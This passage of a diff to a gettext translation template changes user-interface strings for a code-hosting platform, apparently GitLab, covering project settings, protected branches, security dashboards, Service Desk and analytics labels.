msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,7 +25269,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,7 +25807,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,7 +27378,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26745,9 +27408,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,19 +27705,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30214,7 +30947,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -31993,7 +32741,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32296,9 +33050,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,7 +33149,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32692,7 +33446,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32701,6 +33470,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -32850,9 +33625,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
